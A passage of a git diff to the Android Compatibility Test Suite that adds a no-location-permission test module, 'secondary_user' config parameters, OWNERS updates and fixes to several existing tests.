+ int sizeOfRead = bufferedInputStream.read(SUPL_RESPONSE_BUFFER, 0, HEADER_SIZE);
+ if (sizeOfRead == HEADER_SIZE) {
+ byte[] lengthArray = {SUPL_RESPONSE_BUFFER[0], SUPL_RESPONSE_BUFFER[1]};
+ short dataLength = ByteBuffer.wrap(lengthArray).getShort();
+ bufferedInputStream.read(SUPL_RESPONSE_BUFFER, 2, dataLength - HEADER_SIZE);
+ return SUPL_RESPONSE_BUFFER;
+ } else {
+ return null;
+ }
+ }
+
+ /** Closes the TCP socket */
+ public void closeSocket() throws IOException {
+ socket.close();
+ }
+}
diff --git a/tests/location/location_none/Android.bp b/tests/location/location_none/Android.bp
new file mode 100644
index 0000000..5c4a030
--- /dev/null
+++ b/tests/location/location_none/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsLocationNoneTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "LocationCtsCommon",
+ "androidx.test.ext.junit",
+ "androidx.test.ext.truth",
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "truth-prebuilt",
+ ],
+ libs: [
+ "android.test.base.stubs",
+ ],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/location/location_none/AndroidManifest.xml b/tests/location/location_none/AndroidManifest.xml
new file mode 100644
index 0000000..957aeeb
--- /dev/null
+++ b/tests/location/location_none/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.location.cts.none">
+
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:label="CTS tests for android.location"
+ android:targetPackage="android.location.cts.none" >
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
+
diff --git a/tests/location/location_none/AndroidTest.xml b/tests/location/location_none/AndroidTest.xml
new file mode 100644
index 0000000..302cb06
--- /dev/null
+++ b/tests/location/location_none/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Location test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="location" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsLocationNoneTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.location.cts.none" />
+ </test>
+
+</configuration>
diff --git a/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java b/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
new file mode 100644
index 0000000..d619f32
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
@@ -0,0 +1,236 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.location.Criteria;
+import android.location.LocationManager;
+import android.location.cts.common.LocationListenerCapture;
+import android.location.cts.common.LocationPendingIntentCapture;
+import android.os.Looper;
+import android.telephony.CellInfo;
+import android.telephony.PhoneStateListener;
+import android.telephony.TelephonyManager;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+
+@RunWith(AndroidJUnit4.class)
+public class NoLocationPermissionTest {
+
+ private Context mContext;
+ private LocationManager mLocationManager;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = ApplicationProvider.getApplicationContext();
+ mLocationManager = mContext.getSystemService(LocationManager.class);
+
+ assertNotNull(mLocationManager);
+ }
+
+ @SuppressWarnings("deprecation")
+ @Test
+ public void testGetCellLocation() {
+ if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+ assertNotNull(telephonyManager);
+
+ try {
+ telephonyManager.getCellLocation();
+ fail("Should throw SecurityException");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testGetAllCellInfo() {
+ if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+ assertNotNull(telephonyManager);
+
+ try {
+ telephonyManager.getAllCellInfo();
+ fail("Should throw SecurityException");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testListenCellLocation() {
+ if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+ assertNotNull(telephonyManager);
+
+ try {
+ telephonyManager.listen(new PhoneStateListener(Runnable::run),
+ PhoneStateListener.LISTEN_CELL_LOCATION);
+ fail("Should throw SecurityException");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testRequestCellInfoUpdate() {
+ if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+ assertNotNull(telephonyManager);
+
+ try {
+ telephonyManager.requestCellInfoUpdate(Runnable::run,
+ new TelephonyManager.CellInfoCallback() {
+ @Override
+ public void onCellInfo(List<CellInfo> cellInfos) {
+ }
+ });
+ fail("Should throw SecurityException");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testRequestLocationUpdates() {
+ for (String provider : mLocationManager.getAllProviders()) {
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mLocationManager.requestLocationUpdates(provider, 0, 0, capture,
+ Looper.getMainLooper());
+ fail("Should throw SecurityException for provider " + provider);
+ } catch (SecurityException e) {
+ // expected
+ }
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mLocationManager.requestLocationUpdates(provider, 0, 0, Runnable::run, capture);
+ fail("Should throw SecurityException for provider " + provider);
+ } catch (SecurityException e) {
+ // expected
+ }
+
+ try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(
+ mContext)) {
+ mLocationManager.requestLocationUpdates(provider, 0, 0, capture.getPendingIntent());
+ fail("Should throw SecurityException for provider " + provider);
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+ }
+
+ @Test
+ public void testAddProximityAlert() {
+ PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext,
+ 0, new Intent("action"), PendingIntent.FLAG_ONE_SHOT);
+ try {
+ mLocationManager.addProximityAlert(0, 0, 100, -1, pendingIntent);
+ fail("Should throw SecurityException");
+ } catch (SecurityException e) {
+ // expected
+ } finally {
+ pendingIntent.cancel();
+ }
+ }
+
+ @Test
+ public void testGetLastKnownLocation() {
+ for (String provider : mLocationManager.getAllProviders()) {
+ try {
+ mLocationManager.getLastKnownLocation(provider);
+ fail("Should throw SecurityException for provider " + provider);
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+ }
+
+ @Test
+ public void testGetProvider() {
+ for (String provider : mLocationManager.getAllProviders()) {
+ mLocationManager.getProvider(provider);
+ }
+ }
+
+ @Test
+ public void testIsProviderEnabled() {
+ for (String provider : mLocationManager.getAllProviders()) {
+ mLocationManager.isProviderEnabled(provider);
+ }
+ }
+
+ @Test
+ public void testAddTestProvider() {
+ for (String provider : mLocationManager.getAllProviders()) {
+ try {
+ mLocationManager.addTestProvider(
+ provider,
+ true,
+ true,
+ true,
+ true,
+ true,
+ true,
+ true,
+ Criteria.POWER_LOW,
+ Criteria.ACCURACY_FINE);
+ fail("Should throw SecurityException for provider " + provider);
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+ }
+
+ @Test
+ public void testRemoveTestProvider() {
+ for (String provider : mLocationManager.getAllProviders()) {
+ try {
+ mLocationManager.removeTestProvider(provider);
+ fail("Should throw SecurityException for provider " + provider);
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+ }
+}
diff --git a/tests/mocking/extended/AndroidTest.xml b/tests/mocking/extended/AndroidTest.xml
index dad860d..aa44391 100644
--- a/tests/mocking/extended/AndroidTest.xml
+++ b/tests/mocking/extended/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="mocking" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/pdf/AndroidTest.xml b/tests/pdf/AndroidTest.xml
index 9e0eae2..608787f 100644
--- a/tests/pdf/AndroidTest.xml
+++ b/tests/pdf/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="component" value="print" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/perfetto/OWNERS b/tests/perfetto/OWNERS
new file mode 100644
index 0000000..05798d7
--- /dev/null
+++ b/tests/perfetto/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 323270
+primiano@google.com
+lalitm@google.com
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index de946b3..8d6b83e 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -388,13 +388,18 @@
&& !pm.hasSystemFeature("android.hardware.type.watch");
}
+ public File getVolumePath(String volumeName) {
+ return mContext.getSystemService(StorageManager.class)
+ .getStorageVolume(MediaStore.Files.getContentUri(volumeName)).getDirectory();
+ }
+
private void prepareFile() throws Exception {
- final File dir = new File(MediaStore.getVolumePath(mVolumeName),
+ final File dir = new File(getVolumePath(mVolumeName),
Environment.DIRECTORY_DOCUMENTS);
final File file = new File(dir, "cts" + System.nanoTime() + ".txt");
mFile = stageFile(R.raw.text, file);
- mMediaStoreUri = MediaStore.scanFile(mContext, mFile);
+ mMediaStoreUri = MediaStore.scanFile(mContext.getContentResolver(), mFile);
Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri);
}
diff --git a/tests/rollback/AndroidTest.xml b/tests/rollback/AndroidTest.xml
index 2fca9d0..534ed1e 100644
--- a/tests/rollback/AndroidTest.xml
+++ b/tests/rollback/AndroidTest.xml
@@ -23,8 +23,8 @@
<option name="test-file-name" value="CtsRollbackManagerTestCases.apk"/>
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="pm uninstall com.android.cts.rollback.lib.testapp.A" />
- <option name="teardown-command" value="pm uninstall com.android.cts.rollback.lib.testapp.A" />
+ <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+ <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest">
<option name="package" value="com.android.cts.rollback"/>
diff --git a/tests/rollback/OWNERS b/tests/rollback/OWNERS
new file mode 100644
index 0000000..5a631b6
--- /dev/null
+++ b/tests/rollback/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 557916
+include /hostsidetests/rollback/OWNERS
diff --git a/tests/sample/AndroidTest.xml b/tests/sample/AndroidTest.xml
index e2a3139..c3731f3 100644
--- a/tests/sample/AndroidTest.xml
+++ b/tests/sample/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="misc" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSampleDeviceTestCases.apk" />
diff --git a/tests/sample/OWNERS b/tests/sample/OWNERS
new file mode 100644
index 0000000..7782fbe
--- /dev/null
+++ b/tests/sample/OWNERS
@@ -0,0 +1,10 @@
+# Bug component: 346961
+diqian@google.com
+fdeng@google.com
+moonk@google.com
+normancheung@google.com
+williamgoh@google.com
+peykov@google.com
+yichunli@google.com
+yimingpan@google.com
+
diff --git a/tests/security/src/android/keystore/cts/KeyGenerationUtils.java b/tests/security/src/android/keystore/cts/KeyGenerationUtils.java
index 27c9a8c..feadc04 100644
--- a/tests/security/src/android/keystore/cts/KeyGenerationUtils.java
+++ b/tests/security/src/android/keystore/cts/KeyGenerationUtils.java
@@ -43,18 +43,28 @@
.build();
}
+ private static AttestedKeyPair generateRsaKeyPair(DevicePolicyManager dpm, ComponentName admin,
+ int deviceIdAttestationFlags, String alias) {
+ return dpm.generateKeyPair(
+ admin, "RSA", buildRsaKeySpecWithKeyAttestation(alias),
+ deviceIdAttestationFlags);
+ }
+
private static void generateKeyWithIdFlagsExpectingSuccess(DevicePolicyManager dpm,
ComponentName admin, int deviceIdAttestationFlags) {
try {
- AttestedKeyPair generated = dpm.generateKeyPair(
- admin, "RSA", buildRsaKeySpecWithKeyAttestation(ALIAS),
- deviceIdAttestationFlags);
+ AttestedKeyPair generated =
+ generateRsaKeyPair(dpm, admin, deviceIdAttestationFlags, ALIAS);
assertThat(generated).isNotNull();
} finally {
assertThat(dpm.removeKeyPair(admin, ALIAS)).isTrue();
}
}
+ public static void generateRsaKey(DevicePolicyManager dpm, ComponentName admin, String alias) {
+ assertThat(generateRsaKeyPair(dpm, admin, 0, alias)).isNotNull();
+ }
+
public static void generateKeyWithDeviceIdAttestationExpectingSuccess(DevicePolicyManager dpm,
ComponentName admin) {
generateKeyWithIdFlagsExpectingSuccess(dpm, admin, ID_TYPE_SERIAL);
diff --git a/tests/sensor/AndroidTest.xml b/tests/sensor/AndroidTest.xml
index 8edee41..69335d1 100644
--- a/tests/sensor/AndroidTest.xml
+++ b/tests/sensor/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="location" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/OWNERS b/tests/signature/api-check/hidden-api-blacklist-27-api/OWNERS
index d658bff..e840a10 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/OWNERS
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/OWNERS
@@ -1,4 +1,2 @@
-# Bug component: 86431
-dbrazdil@google.com
-mathewi@google.com
-ngeoffray@google.com
+# Bug component: 610774
+include ../hidden-api-blacklist-current-api/OWNERS
\ No newline at end of file
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/OWNERS b/tests/signature/api-check/hidden-api-blacklist-28-api/OWNERS
index d658bff..e840a10 100644
--- a/tests/signature/api-check/hidden-api-blacklist-28-api/OWNERS
+++ b/tests/signature/api-check/hidden-api-blacklist-28-api/OWNERS
@@ -1,4 +1,2 @@
-# Bug component: 86431
-dbrazdil@google.com
-mathewi@google.com
-ngeoffray@google.com
+# Bug component: 610774
+include ../hidden-api-blacklist-current-api/OWNERS
\ No newline at end of file
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/OWNERS b/tests/signature/api-check/hidden-api-blacklist-current-api/OWNERS
index d658bff..39dbe17 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/OWNERS
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/OWNERS
@@ -1,4 +1,7 @@
-# Bug component: 86431
-dbrazdil@google.com
+# Bug component: 610774
+platform-compat-eng+reviews@google.com
+andreionea@google.com
+atrost@google.com
mathewi@google.com
ngeoffray@google.com
+satayev@google.com
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/OWNERS b/tests/signature/api-check/hidden-api-blacklist-debug-class/OWNERS
index d658bff..e840a10 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/OWNERS
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/OWNERS
@@ -1,4 +1,2 @@
-# Bug component: 86431
-dbrazdil@google.com
-mathewi@google.com
-ngeoffray@google.com
+# Bug component: 610774
+include ../hidden-api-blacklist-current-api/OWNERS
\ No newline at end of file
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
index 68c3e5c..c0fadbd 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="systems" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsHiddenApiKillswitchDebugClassTestCases.apk" />
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/OWNERS b/tests/signature/api-check/hidden-api-killswitch-debug-class/OWNERS
index d658bff..e840a10 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/OWNERS
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/OWNERS
@@ -1,4 +1,2 @@
-# Bug component: 86431
-dbrazdil@google.com
-mathewi@google.com
-ngeoffray@google.com
+# Bug component: 610774
+include ../hidden-api-blacklist-current-api/OWNERS
\ No newline at end of file
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
index e25bb65..9579126 100644
--- a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="systems" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<!-- Whitelist all APIs before running the test, then reset this afterwards. The test
is intended to verify the behaviour when all APIs are whitelisted. -->
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/OWNERS b/tests/signature/api-check/hidden-api-killswitch-whitelist/OWNERS
index d658bff..e840a10 100644
--- a/tests/signature/api-check/hidden-api-killswitch-whitelist/OWNERS
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/OWNERS
@@ -1,4 +1,2 @@
-# Bug component: 86431
-dbrazdil@google.com
-mathewi@google.com
-ngeoffray@google.com
+# Bug component: 610774
+include ../hidden-api-blacklist-current-api/OWNERS
\ No newline at end of file
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
index 0363684..27b874c 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="systems" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<!-- Enable the killswitch before running the test, then disable it afterwards. The test
is intended to verify the behaviour when the killswitch is enabled. -->
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/OWNERS b/tests/signature/api-check/hidden-api-killswitch-wildcard/OWNERS
index d658bff..e840a10 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/OWNERS
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/OWNERS
@@ -1,4 +1,2 @@
-# Bug component: 86431
-dbrazdil@google.com
-mathewi@google.com
-ngeoffray@google.com
+# Bug component: 610774
+include ../hidden-api-blacklist-current-api/OWNERS
\ No newline at end of file
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 63f324d..43183bf 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="systems" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSystemApiAnnotationTestCases.apk" />
diff --git a/tests/signature/api-check/system-api/AndroidTest.xml b/tests/signature/api-check/system-api/AndroidTest.xml
index 3368b77..646338e 100644
--- a/tests/signature/api-check/system-api/AndroidTest.xml
+++ b/tests/signature/api-check/system-api/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="systems" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSystemApiSignatureTestCases.apk" />
diff --git a/tests/tests/accounts/AndroidTest.xml b/tests/tests/accounts/AndroidTest.xml
index e473a1a..0f118d8 100644
--- a/tests/tests/accounts/AndroidTest.xml
+++ b/tests/tests/accounts/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="cmd account set-bind-instant-service-allowed true" />
<option name="teardown-command" value="cmd account set-bind-instant-service-allowed false" />
diff --git a/tests/tests/animation/OWNERS b/tests/tests/animation/OWNERS
new file mode 100644
index 0000000..475f1b8
--- /dev/null
+++ b/tests/tests/animation/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 47085
+tianliu@google.com
+mount@google.com
+andreykulikov@google.com
diff --git a/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java b/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
index ba1cc47..a291d11 100644
--- a/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
+++ b/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
@@ -26,6 +26,7 @@
import android.animation.ObjectAnimator;
import android.animation.PropertyValuesHolder;
import android.animation.TimeInterpolator;
+import android.animation.ValueAnimator;
import android.os.SystemClock;
import android.view.View;
import android.view.ViewGroup;
@@ -38,6 +39,7 @@
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
@@ -46,6 +48,8 @@
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
@MediumTest
@RunWith(AndroidJUnit4.class)
@@ -54,6 +58,7 @@
private LayoutTransition mLayoutTransition;
private LinearLayout mView;
private Button mButton;
+ private float mOldAnimationScale = 1f;
@Rule
public ActivityTestRule<LayoutAnimationActivity> mActivityRule =
@@ -61,6 +66,8 @@
@Before
public void setup() {
+ mOldAnimationScale = ValueAnimator.getDurationScale();
+ ValueAnimator.setDurationScale(1f);
InstrumentationRegistry.getInstrumentation().setInTouchMode(true);
mActivity = mActivityRule.getActivity();
mView = (LinearLayout) mActivity.findViewById(R.id.container);
@@ -68,6 +75,11 @@
mLayoutTransition = new LayoutTransition();
}
+ @After
+ public void teardown() {
+ ValueAnimator.setDurationScale(mOldAnimationScale);
+ }
+
@Test
public void testAddTransitionListener() throws Throwable {
MyTransitionListener listener = new MyTransitionListener();
@@ -90,7 +102,7 @@
@Test
public void testIsChangingLayout() throws Throwable {
- long duration = 2000l;
+ long duration = 5000L;
mView.setLayoutTransition(mLayoutTransition);
mLayoutTransition.setDuration(duration);
mLayoutTransition.setInterpolator(LayoutTransition.CHANGE_APPEARING,
@@ -194,7 +206,7 @@
}
private void setDefaultTransition() {
- long duration = 1000;
+ long duration = 5000;
mView.setLayoutTransition(mLayoutTransition);
mLayoutTransition.setDuration(duration);
mLayoutTransition.setInterpolator(LayoutTransition.APPEARING,
@@ -202,8 +214,32 @@
}
private void clickButton() throws Throwable {
+ CountDownLatch startLatch = new CountDownLatch(1);
+ TransitionListener listener = new TransitionListener() {
+
+ @Override
+ public void startTransition(
+ LayoutTransition layoutTransition,
+ ViewGroup viewGroup,
+ View view,
+ int i
+ ) {
+ startLatch.countDown();
+ }
+
+ @Override
+ public void endTransition(
+ LayoutTransition layoutTransition,
+ ViewGroup viewGroup,
+ View view,
+ int i
+ ) {
+ }
+ };
+ mLayoutTransition.addTransitionListener(listener);
mActivityRule.runOnUiThread(mButton::callOnClick);
InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+ assertTrue(startLatch.await(5, TimeUnit.SECONDS));
}
class MyTransitionListener implements LayoutTransition.TransitionListener {
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 5d666d2..7fe1b0a 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -587,6 +587,20 @@
mUiDevice.pressBack();
}
+ @AppModeFull(reason = "No usage events access in instant apps")
+ @Test
+ public void testUserUnlockedEventExists() throws Exception {
+ final UsageEvents events = mUsageStatsManager.queryEvents(0, System.currentTimeMillis());
+ while (events.hasNextEvent()) {
+ final Event event = new Event();
+ events.getNextEvent(event);
+ if (event.mEventType == Event.USER_UNLOCKED) {
+ return;
+ }
+ }
+ fail("Couldn't find a user unlocked event.");
+ }
+
static final int[] INTERACTIVE_EVENTS = new int[] {
Event.SCREEN_INTERACTIVE,
